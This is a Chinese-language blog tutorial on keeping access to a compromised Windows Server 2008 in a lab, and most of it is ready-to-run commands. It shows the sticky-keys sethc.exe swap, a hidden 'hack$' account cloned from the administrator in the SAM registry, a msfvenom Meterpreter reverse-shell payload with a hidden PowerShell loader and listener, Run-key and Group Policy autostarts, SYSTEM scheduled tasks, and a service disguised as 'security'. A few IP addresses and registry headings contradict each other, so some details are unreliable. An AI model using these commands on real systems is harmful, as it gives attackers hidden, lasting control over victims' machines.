14.Windows权限维持

Windows权限维持

环境:

  • Windows Server2008(靶机机)
  • kali(攻击机)

1.服务器入侵流程

信息收集、漏洞扫描、渗透攻击、提权、后渗透、持续控制

2.shfit后门维持

粘滞键概念:

粘滞键漏洞,在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能,其进程名为Sethc.exe,应用程序在C:\Windows\system32下。

shfit后门原理:

通过将其他应用程序(如:cmd.exe、或者木马、病毒)将Sethc.exe这个可执行程序进行替换。当再次连续按5次SHIFT键,就会以system权限运行替换后的应用程序。

操作方式:

复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

如果权限不够需要更改文件权限,如下命令

takeown /f c:\windows\system32\*.* /a /r /d y
cacls c:\windows\system32\*.* /T /E /G administrators:F

3.克隆账号维持

隐藏账户:

顾名思义就是计算机上看不到的用户,在一个用户后面添加$符号,如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持。

1、添加隐藏用户
net user hack$ admin@123 /add

这样创建的隐藏用户,只有使用net user时可以隐蔽,在登录界面、计算机管理、控制面板、注册表中都可以查到。

2、在注册表操作进行用户隐藏

打开注册表regedit

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\

导出之前创建的hack$用户注册表文件

复制administrator中的F键值

将复制的值,粘贴到hack$对应的F值中

将hack$对应的数据导出来

通过这样的方法,隐藏用户,只有到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\下才能看见hack$用户。

遇到的问题:当我使用windows server2008去查注册表时,只能查到HKEY_LOCAL_MACHINE\SAM\SAM,后面的文件夹没有看见。

解决方法:当点击到SAM时无法看见后面的文件,需要右键设置权限,把管理员权限设置为可读可写,然后重新打开注册表。

4.启动项维持

启动项,操作系统在启动的时候,自动加载了很多程序。会在前台或者后台运行,进程表中出现了很多的进程。也许有病毒或木马在自启动行列。

添加启动项的方式:

1、组策略

可以通过利用组策略开机启动脚本

在运行框中输入“gpedit.msc”,打开组策略

在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置

选择要添加的脚本或者PowerShell

用msf生成一个powershell的木马

反弹shell木马生成

(1)机器名和IP地址

Windows Server 2008 192.168.142.134

kali 192.168.142.128

(2)运行

msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.142.128 lport=3333 -f psh -o 1.ps1

(3)在目标服务器进行下python -m http.server 8000

(4)创建一个1.bat脚本,并且添加到组策略【脚本】中

bat脚本内容如下:

@echo off

powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\phpstudy_pro\WWW\shell\shell.ps1

exit

(5)kali运行msf进行监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.13.128
set LPORT 3333
run

(6)重启server2008机器

2、启动文件夹

启动文件夹里面的文件可以会在开机的时候自动启动。

通过开始菜单---所有程序---启动 这个文件夹内,可以将程序开机自启动。

启动文件夹:

C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级

组策略脚本启动文件夹:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

3、注册表

注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。

(1)打开注册表

HKEY_LOCAL_MACHINE类

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_CURRENT_USER类

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

(2)使用reg add 命令进行添加

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\phpstudy_pro\WWW\shell\1.bat"

5.计划任务维持

计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划可以在每次系统启动的时候启动并在后台运行。

(1)打开计划任务
1、【管理工具】--->【任务计划程序】
2、【控制面板】--->系统和安全--【计划任务】
3、【taskschd.msc】命令

(2)生成计划任务
使用schtasks命令
/Create 创建新计划任务。
/Delete 删除计划任务。

使用以下命令进行测试
1、在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System
2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30
3、在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System
4、计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system

利用当系统开机的时候运行计划任务进行权限维持
schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -­w hidden -­ExecutionPolicy Bypass ­-NoExit ­-File C:\1.ps1" /sc onstart /ru System

6.系统服务维持

服务:
能够创建在操作系统自己的 Windows 会话中可长时间运行的可执行应用程序。
这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。

创建服务:
sc命令
用法: sc create [service name] [binPath= ] ...
1、创建服务
sc create shell start= auto binPath= "C:\phpstudy_pro\WWW\1.exe" obj= Localsystem
2、查看服务是否已经创建
services.msc
3、修改正常的名称和描述
sc description "shell" "安全"
4、启动服务
net start "服务名"

posted @ 2023-03-28 16:57  candada  阅读(358)  评论(0编辑  收藏  举报